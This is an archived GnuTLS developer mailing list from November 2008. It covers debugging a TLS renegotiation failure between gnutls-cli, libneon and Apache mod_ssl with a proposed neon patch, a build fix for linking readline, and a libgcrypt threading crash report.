On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:

> Hello, this does not seem to be a gnutls error. The server merely asks
> for renegotiation, gnutls-cli ignores it (legal behavior) and server
> does not like it thus sends a fatal alert.

Do you think this is exposing a bug in mod_ssl, then?  If it is legal
behavior to ignore a renegotiation, it seems to me that
SSLVerifyClient optional should not cause the server to terminate the
connection if a rehandshake is rejected.  Should we clone this bug, or
open a new report against apache or openssl?

     --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081121/399dcb39/attachment.pgp>

From nmav at gnutls.org  Fri Nov 21 19:54:37 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Fri, 21 Nov 2008 20:54:37 +0200
Subject: confirmation that debian #480041 is a gnutls problem, and steps
 to reproduce
In-Reply-To: <87d4gpow1v.fsf@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>	<49266212.6030004@gnutls.org>
	<87d4gpow1v.fsf@squeak.fifthhorseman.net>
Message-ID: <492703ED.8030803@gnutls.org>

Daniel Kahn Gillmor wrote:
> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:
> 
>> Hello, this does not seem to be a gnutls error. The server merely asks
>> for renegotiation, gnutls-cli ignores it (legal behavior) and server
>> does not like it thus sends a fatal alert.
> 
> Do you think this is exposing a bug in mod_ssl, then?  If it is legal
> behavior to ignore a renegotiation, it seems to me that
> SSLVerifyClient optional should not cause the server to terminate the
> connection if a rehandshake is rejected.  Should we clone this bug, or
> open a new report against apache or openssl?

Could you first send me a capture to be used with wireshark so i can
check precisely what is happening there (gnutls-cli) and rule out any
gnutls issue?

regards,
Nikos





From dkg at fifthhorseman.net  Fri Nov 21 20:18:14 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Fri, 21 Nov 2008 14:18:14 -0500
Subject: confirmation that debian #480041 is a gnutls problem,
	and steps to reproduce
In-Reply-To: <492703ED.8030803@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Fri\, 21 Nov 2008 20\:54\:37 +0200")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<87d4gpow1v.fsf@squeak.fifthhorseman.net>
	<492703ED.8030803@gnutls.org>
Message-ID: <87abbsevm1.fsf@squeak.fifthhorseman.net>

On Fri 2008-11-21 13:54:37 -0500, Nikos Mavrogiannopoulos wrote:

> Could you first send me a capture to be used with wireshark so i can
> check precisely what is happening there (gnutls-cli) and rule out any
> gnutls issue?

Attached is a pcap file, and the test key and certificate used by the
server during the communication.  The client had no certificate.

wireshark tells me that the TCP checksums of most packets in the
packet capture are wrong; i don't know why that is, nor do i think
it's particularly relevant, given that this was all done across the
loopback interface.

This packet capture was done with gnutls-cli 2.6.2-1 and with
libgnutls26 from the same version.

Hope this is helpful,

        --dkg

-------------- next part --------------
A non-text attachment was scrubbed...
Name: 480041.pcap
Type: application/cap
Size: 4276 bytes
Desc: packet capture
URL: </pipermail/attachments/20081121/d8b1cf6e/attachment.pcap>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: key.pem
URL: </pipermail/attachments/20081121/d8b1cf6e/attachment.asc>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: cert.pem
URL: </pipermail/attachments/20081121/d8b1cf6e/attachment.txt>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081121/d8b1cf6e/attachment.pgp>

From dkg at fifthhorseman.net  Fri Nov 21 20:34:41 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Fri, 21 Nov 2008 14:34:41 -0500
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <87abbsevm1.fsf@squeak.fifthhorseman.net> (Daniel Kahn Gillmor's
	message of "Fri\, 21 Nov 2008 14\:18\:14 -0500")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<87d4gpow1v.fsf@squeak.fifthhorseman.net>
	<492703ED.8030803@gnutls.org>
	<87abbsevm1.fsf@squeak.fifthhorseman.net>
Message-ID: <87ej14c1pq.fsf@squeak.fifthhorseman.net>

On Fri 2008-11-21 14:18:14 -0500, Daniel Kahn Gillmor wrote:

> Attached is a pcap file, and the test key and certificate used by the
> server during the communication.  The client had no certificate.

And here, i've attached a pcap of the connection using openssl, which
actually returns some HTTP output and terminates cleanly.  The openssl
invocation was:

  (sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | \
   openssl s_client -connect fubar.example.org:443

as compared to the gnutls-cli invocation of:

  (sleep 3 && echo -e "$HTTP_QUERY" && sleep 3) | \
   gnutls-cli fubar.example.org

hope this is useful,

     --dkg

-------------- next part --------------
A non-text attachment was scrubbed...
Name: 480041.openssl.pcap
Type: application/cap
Size: 6141 bytes
Desc: packet capture using openssl s_client
URL: </pipermail/attachments/20081121/ecf666e4/attachment.pcap>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081121/ecf666e4/attachment.pgp>

From dkg at fifthhorseman.net  Fri Nov 21 20:37:01 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Fri, 21 Nov 2008 14:37:01 -0500
Subject: gnutls-cli return codes [was: Re: confirmation that debian #480041
	is a gnutls problem, and steps to reproduce]
In-Reply-To: <49266212.6030004@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Fri\, 21 Nov 2008 09\:24\:02 +0200")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
Message-ID: <87abbsc1lu.fsf_-_@squeak.fifthhorseman.net>

On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:

> Daniel Kahn Gillmor wrote:
>
>> *** Non fatal error: Rehandshake was requested by the peer.
>> *** Fatal error: A TLS fatal alert has been received.
>> *** Received alert [10]: Unexpected message
>> *** Server has terminated the connection abnormally.
>> ---------------------------------
>
> Hello, this does not seem to be a gnutls error. The server merely
> asks for renegotiation, gnutls-cli ignores it (legal behavior) and
> server does not like it thus sends a fatal alert.

It looks to me like gnutls-cli has a return code of 0 in this
situation.  Wouldn't it make more sense to exit with a non-zero return
code when the server has terminated the connection abnormally?

     --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081121/252efa82/attachment.pgp>

From nmav at gnutls.org  Fri Nov 21 20:46:51 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Fri, 21 Nov 2008 21:46:51 +0200
Subject: gnutls-cli return codes [was: Re: confirmation that debian
 #480041 is a gnutls problem, and steps to reproduce]
In-Reply-To: <87abbsc1lu.fsf_-_@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>	<49266212.6030004@gnutls.org>
	<87abbsc1lu.fsf_-_@squeak.fifthhorseman.net>
Message-ID: <4927102B.8090709@gnutls.org>

Daniel Kahn Gillmor wrote:
> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:
> 
>> Daniel Kahn Gillmor wrote:
>>
>>> *** Non fatal error: Rehandshake was requested by the peer.
>>> *** Fatal error: A TLS fatal alert has been received.
>>> *** Received alert [10]: Unexpected message
>>> *** Server has terminated the connection abnormally.
>>> ---------------------------------
>> Hello, this does not seem to be a gnutls error. The server merely
>> asks for renegotiation, gnutls-cli ignores it (legal behavior) and
>> server does not like it thus sends a fatal alert.
> 
> It looks to me like gnutls-cli has a return code of 0 in this
> situation.  Wouldn't it make more sense to exit with a non-zero return
> code when the server has terminated the connection abnormally?

Indeed, I've modified it to do so.

regards,
Nikos




From joe at manyfish.co.uk  Fri Nov 21 22:59:21 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Fri, 21 Nov 2008 21:59:21 +0000
Subject: confirmation that debian #480041 is a gnutls problem, and
	steps to reproduce
In-Reply-To: <87d4gpow1v.fsf@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<87d4gpow1v.fsf@squeak.fifthhorseman.net>
Message-ID: <20081121215921.GA27465@manyfish.co.uk>

On Fri, Nov 21, 2008 at 11:58:36AM -0500, Daniel Kahn Gillmor wrote:
> On Fri 2008-11-21 02:24:02 -0500, Nikos Mavrogiannopoulos wrote:
> 
> > Hello, this does not seem to be a gnutls error. The server merely asks
> > for renegotiation, gnutls-cli ignores it (legal behavior) and server
> > does not like it thus sends a fatal alert.
> 
> Do you think this is exposing a bug in mod_ssl, then?  If it is legal
> behavior to ignore a renegotiation, it seems to me that
> SSLVerifyClient optional should not cause the server to terminate the
> connection if a rehandshake is rejected.  Should we clone this bug, or
> open a new report against apache or openssl?

IIUC what will happen in this case is that mod_ssl puts OpenSSL into the 
state where it expects a full handshake - if it receives any app_data 
packets OpenSSL treats thas a hard failure.  And slso IIUC - this 
results in the server sending a ChangeCipherSpec message on the wire - 
and the client has no option to ignore that in TLS, right?

joe




From dkg at fifthhorseman.net  Sat Nov 22 06:51:05 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Sat, 22 Nov 2008 00:51:05 -0500
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <20081121132040.GA25245@manyfish.co.uk> (Joe Orton's message of
	"Fri\, 21 Nov 2008 13\:20\:40 +0000")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
Message-ID: <87zljss3zq.fsf@squeak.fifthhorseman.net>

On Fri 2008-11-21 08:20:40 -0500, Joe Orton wrote:

> neon already has a callback which does that, yeah.
>
> Daniel, can you try this neon patch?

OK, after figuring out how to build neon27 (don't try it in a path
that contains the string "libneon" in it), i tried applying the patch.

With tour patch, svn co just runs forever against an svn server
configured with SSLVerifyClient optional, and never fetches anything.

What additional bits of debugging would you like?

           --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081122/55925553/attachment.pgp>

From joe at manyfish.co.uk  Sat Nov 22 09:05:03 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Sat, 22 Nov 2008 08:05:03 +0000
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <87zljss3zq.fsf@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
Message-ID: <20081122080503.GA15594@manyfish.co.uk>

On Sat, Nov 22, 2008 at 12:51:05AM -0500, Daniel Kahn Gillmor wrote:
> On Fri 2008-11-21 08:20:40 -0500, Joe Orton wrote:
> 
> > neon already has a callback which does that, yeah.
> >
> > Daniel, can you try this neon patch?
> 
> OK, after figuring out how to build neon27 (don't try it in a path
> that contains the string "libneon" in it), i tried applying the patch.

I guess that's a problem with the Debian package build process?

> With tour patch, svn co just runs forever against an svn server
> configured with SSLVerifyClient optional, and never fetches anything.

Err, reading that patch again, it's complete rubbish.  Could you try the 
one below which is hopefully less rubbish?  Thanks a lot for working on 
this!

Index: src/ne_socket.c
===================================================================
--- src/ne_socket.c	(revision 1607)
+++ src/ne_socket.c	(working copy)
@@ -750,13 +750,18 @@
 static ssize_t read_gnutls(ne_socket *sock, char *buffer, size_t len)
 {
     ssize_t ret;
+    unsigned reneg = 1; /* number of allowed rehandshakes */
 
     ret = readable_gnutls(sock, sock->rdtimeout);
     if (ret) return ret;
     
     do {
-        ret = gnutls_record_recv(sock->ssl, buffer, len);
-    } while (RETRY_GNUTLS(sock, ret));
+        do {
+            ret = gnutls_record_recv(sock->ssl, buffer, len);
+        } while (RETRY_GNUTLS(sock, ret));
+        
+    } while (ret == GNUTLS_E_REHANDSHAKE && reneg--
+             && (ret = gnutls_handshake(sock->ssl)) == GNUTLS_E_SUCCESS);
 
     if (ret <= 0)
 	ret = error_gnutls(sock, ret);





From dkg at fifthhorseman.net  Sat Nov 22 19:54:43 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Sat, 22 Nov 2008 13:54:43 -0500
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <20081122080503.GA15594@manyfish.co.uk> (Joe Orton's message of
	"Sat\, 22 Nov 2008 08\:05\:03 +0000")
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
	<20081122080503.GA15594@manyfish.co.uk>
Message-ID: <87bpw7pp58.fsf@squeak.fifthhorseman.net>

On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote:

> Err, reading that patch again, it's complete rubbish.  

I thought it looked a little sparse, actually, but i've never really
poked around inside libneon before.  Thanks for the updated patch.

> Could you try the one below which is hopefully less rubbish?  Thanks
> a lot for working on this!

This does something different now:

[0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla
svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: Could not read status line: SSL error: Decryption has failed. (https://foo.example.org)
[1 dkg at squeak cdtemp.oNUHIC]$ 

But it's still not just going ahead with the checkout the way it does
when i use the openssl version of libneon.  Can i give you more
detailed debugging info somehow?

    --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081122/a5edd6eb/attachment.pgp>

From joe at manyfish.co.uk  Sat Nov 22 23:13:00 2008
From: joe at manyfish.co.uk (Joe Orton)
Date: Sat, 22 Nov 2008 22:13:00 +0000
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
	problem, and steps to reproduce
In-Reply-To: <87bpw7pp58.fsf@squeak.fifthhorseman.net>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
	<20081122080503.GA15594@manyfish.co.uk>
	<87bpw7pp58.fsf@squeak.fifthhorseman.net>
Message-ID: <20081122221300.GA20323@manyfish.co.uk>

On Sat, Nov 22, 2008 at 01:54:43PM -0500, Daniel Kahn Gillmor wrote:
> On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote:
> [0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla
> svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: 
> Could not read status line: SSL error: Decryption has failed. 
> (https://foo.example.org)
> [1 dkg at squeak cdtemp.oNUHIC]$ 
> 
> But it's still not just going ahead with the checkout the way it does
> when i use the openssl version of libneon.  Can i give you more
> detailed debugging info somehow?

Interesting, thanks for trying that out.  I'm not sure what else neon 
could do to make this work correctly so I think further diagnosis based 
on packet traces will be needed.  I can try to work on that sometime in 
the coming week, with luck.

It might be useful to modify gnutls-cli to call gnutls_rehandshake() in 
the same fashion as my patch to neon, to get some debugging traces from 
GnuTLS, if you wanted to try that.

Regards, Joe




From arfrever.fta at gmail.com  Sun Nov 23 00:18:43 2008
From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis)
Date: Sun, 23 Nov 2008 00:18:43 +0100
Subject: GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS
Message-ID: <200811230019.26429.Arfrever.FTA@gmail.com>

GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS:

i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg  -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -MT certtool.o -MD -MP -MF .deps/certtool.Tpo -c -o certtool.o certtool.c
mv -f .deps/certtool.Tpo .deps/certtool.Po
i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I..  -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg  -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -MT prime.o -MD -MP -MF .deps/prime.Tpo -c -o prime.o prime.c
mv -f .deps/prime.Tpo .deps/prime.Po
/bin/sh ../libtool --tag=CC   --mode=link i686-pc-linux-gnu-gcc -std=gnu99 -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3  -Wl,-O1,--as-needed,--gc-sections,--hash-style=gnu,--sort-common -o certtool certtool.o prime.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la ../lib/gl/liblgnu.la -L/usr/lib -lreadline libcmd-certtool.la  libcfg.la
libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wall -W -Wformat-nonliteral -Wformat-security -Winit-self -Wmissing-include-dirs -Wunused -Wunknown-pragmas -Wstrict-aliasing -Wfloat-equal -Wdeclaration-after-statement -Wpointer-arith -Wbad-function-cast -Wcast-align -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wmissing-noreturn -Wmissing-format-attribute -Wpacked -Wredundant-decls -Wnested-externs -Winline -Winvalid-pch -Wlong-long -Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -Wl,-O1 -Wl,--as-needed -Wl,--gc-sections -Wl,--hash-style=gnu -Wl,--sort-common -o .libs/certtool certtool.o prime.o  ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a ../lib/gl/.libs/liblgnu.a -lreadline ./.libs/libcmd-certtool.a ./.libs/libcfg.a
./.libs/libcmd-certtool.a(libcmd_certtool_la-certtool-cfg.o): In function `read_int_with_default':
certtool-cfg.c:(.text+0x1e3): undefined reference to `readline'
collect2: ld returned 1 exit status
make[3]: *** [certtool] Error 1
make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/src'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/src'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2'
make: *** [all] Error 2


I'm attaching the patch which fixes this problem.

-- 
Arfrever Frehtes Taifersar Arahesis
-------------- next part --------------
A non-text attachment was scrubbed...
Name: gnutls-2.7.2-as-needed.patch
Type: text/x-diff
Size: 376 bytes
Desc: not available
URL: </pipermail/attachments/20081123/25b7aabb/attachment.patch>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: </pipermail/attachments/20081123/25b7aabb/attachment.pgp>

From nmav at gnutls.org  Sun Nov 23 09:02:10 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sun, 23 Nov 2008 10:02:10 +0200
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
 problem, and steps to reproduce
In-Reply-To: <20081122221300.GA20323@manyfish.co.uk>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
	<20081122080503.GA15594@manyfish.co.uk>
	<87bpw7pp58.fsf@squeak.fifthhorseman.net>
	<20081122221300.GA20323@manyfish.co.uk>
Message-ID: <49290E02.1080302@gnutls.org>

Joe Orton wrote:
> On Sat, Nov 22, 2008 at 01:54:43PM -0500, Daniel Kahn Gillmor wrote:
>> On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote:
>> [0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla
>> svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: 
>> Could not read status line: SSL error: Decryption has failed. 
>> (https://foo.example.org)
>> [1 dkg at squeak cdtemp.oNUHIC]$ 
>>
>> But it's still not just going ahead with the checkout the way it does
>> when i use the openssl version of libneon.  Can i give you more
>> detailed debugging info somehow?
> 
> Interesting, thanks for trying that out.  I'm not sure what else neon 
> could do to make this work correctly so I think further diagnosis based 
> on packet traces will be needed.  I can try to work on that sometime in 
> the coming week, with luck.
> It might be useful to modify gnutls-cli to call gnutls_rehandshake() in 
> the same fashion as my patch to neon, to get some debugging traces from 
> GnuTLS, if you wanted to try that.

The git version of gnutls-cli (both in main and 2.6 branches) support
this behavior.

regards,
Nikos




From simon at josefsson.org  Sun Nov 23 16:52:21 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Sun, 23 Nov 2008 16:52:21 +0100
Subject: GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS
In-Reply-To: <200811230019.26429.Arfrever.FTA@gmail.com> (Arfrever Frehtes
	Taifersar Arahesis's message of "Sun, 23 Nov 2008 00:18:43 +0100")
References: <200811230019.26429.Arfrever.FTA@gmail.com>
Message-ID: <877i6uv3re.fsf@mocca.josefsson.org>

Arfrever Frehtes Taifersar Arahesis <arfrever.fta at gmail.com> writes:

> ./.libs/libcmd-certtool.a(libcmd_certtool_la-certtool-cfg.o): In function `read_int_with_default':
> certtool-cfg.c:(.text+0x1e3): undefined reference to `readline'

Thanks, should be fixed by:

http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=490aa118b953284c19f908c5fb8f7b19a37989f3

/Simon




From colin at colino.net  Wed Nov 26 12:23:01 2008
From: colin at colino.net (Colin Leroy)
Date: Wed, 26 Nov 2008 12:23:01 +0100
Subject: Crash in GnuTLS 2.4.1
Message-ID: <20081126122301.02c43807@paperstreet.colino.net>

Hi,

Does such a backtrace ring a bell for someone?

#0  0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6
(gdb) bt  
#0  0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6
#1  0x00007f9a9a0e9b43 in abort () from /lib/libc.so.6
#2  0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6
#3  0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) at ath.c:186
#4  0x00007f9a9afdf660 in lock_pool () at random.c:299
#5  0x00007f9a9afe003e in _gcry_fast_random_poll () at random.c:1304
#6  0x00007f9a9afd3686 in _gcry_cipher_open (handle=0x3ecc, algo=16247, mode=6, flags=4294967295)
    at cipher.c:641
#7  0x00007f9a9b6a3ce9 in gc_cipher_open (alg=<value optimized out>, mode=<value optimized out>, 
    outhandle=0x3) at gc-libgcrypt.c:180
#8  0x00007f9a9b682b78 in _gnutls_cipher_init (handle=0x26c1ac8, cipher=<value optimized out>, 
    key=0x26c1a88, iv=0x26c1a68) at gnutls_cipher_int.c:64
#9  0x00007f9a9b68d829 in _gnutls_read_connection_state_init (session=0x26c16e0) at gnutls_constate.c:621
#10 0x00007f9a9b67c9ee in _gnutls_recv_handshake_final (session=0x26c16e0, init=<value optimized out>)
    at gnutls_handshake.c:2507
#11 0x00007f9a9b67ce89 in _gnutls_handshake_common (session=0x26c16e0) at gnutls_handshake.c:2663
#12 0x00007f9a9b67cff2 in gnutls_handshake (session=0x26c16e0) at gnutls_handshake.c:2264

Or should I see with my distro's bugtracker? 

Thanks,
-- 
Colin




From colin at colino.net  Wed Nov 26 12:33:47 2008
From: colin at colino.net (Colin Leroy)
Date: Wed, 26 Nov 2008 12:33:47 +0100
Subject: Crash in GnuTLS 2.4.1
In-Reply-To: <20081126122301.02c43807@paperstreet.colino.net>
References: <20081126122301.02c43807@paperstreet.colino.net>
Message-ID: <20081126123347.3428518d@paperstreet.colino.net>

On Wed, 26 Nov 2008 12:23:01 +0100, Colin Leroy wrote:

Hi,

> #2  0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6
> #3  0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30)
> at ath.c:186

Btw, in my application I do have the threads setup with:
	gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);

But this application also uses a Glib main loop. Should I use
gcry_threads_other instead?

Thanks,
-- 
Colin




From simon at josefsson.org  Wed Nov 26 12:46:56 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 26 Nov 2008 12:46:56 +0100
Subject: Crash in GnuTLS 2.4.1
In-Reply-To: <20081126122301.02c43807@paperstreet.colino.net> (Colin Leroy's
	message of "Wed, 26 Nov 2008 12:23:01 +0100")
References: <20081126122301.02c43807@paperstreet.colino.net>
Message-ID: <877i6qogjz.fsf@mocca.josefsson.org>

Colin Leroy <colin at colino.net> writes:

> Hi,
>
> Does such a backtrace ring a bell for someone?
>
> #0  0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6
> (gdb) bt  
> #0  0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6
> #1  0x00007f9a9a0e9b43 in abort () from /lib/libc.so.6
> #2  0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6
> #3  0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) at ath.c:186
> #4  0x00007f9a9afdf660 in lock_pool () at random.c:299
> #5  0x00007f9a9afe003e in _gcry_fast_random_poll () at random.c:1304
> #6  0x00007f9a9afd3686 in _gcry_cipher_open (handle=0x3ecc, algo=16247, mode=6, flags=4294967295)
>     at cipher.c:641

Looks like a libgcrypt and thread related crash to me.  Is your
application multi-threaded?  Maybe this helps:

http://www.gnu.org/software/gnutls/manual/html_node/Multi_002dthreaded-applicati
ons.html

/Simon

> #7  0x00007f9a9b6a3ce9 in gc_cipher_open (alg=<value optimized out>, mode=<value optimized out>, 
>     outhandle=0x3) at gc-libgcrypt.c:180
> #8  0x00007f9a9b682b78 in _gnutls_cipher_init (handle=0x26c1ac8, cipher=<value optimized out>, 
>     key=0x26c1a88, iv=0x26c1a68) at gnutls_cipher_int.c:64
> #9  0x00007f9a9b68d829 in _gnutls_read_connection_state_init (session=0x26c16e0) at gnutls_constate.c:621
> #10 0x00007f9a9b67c9ee in _gnutls_recv_handshake_final (session=0x26c16e0, init=<value optimized out>)
>     at gnutls_handshake.c:2507
> #11 0x00007f9a9b67ce89 in _gnutls_handshake_common (session=0x26c16e0) at gnutls_handshake.c:2663
> #12 0x00007f9a9b67cff2 in gnutls_handshake (session=0x26c16e0) at gnutls_handshake.c:2264
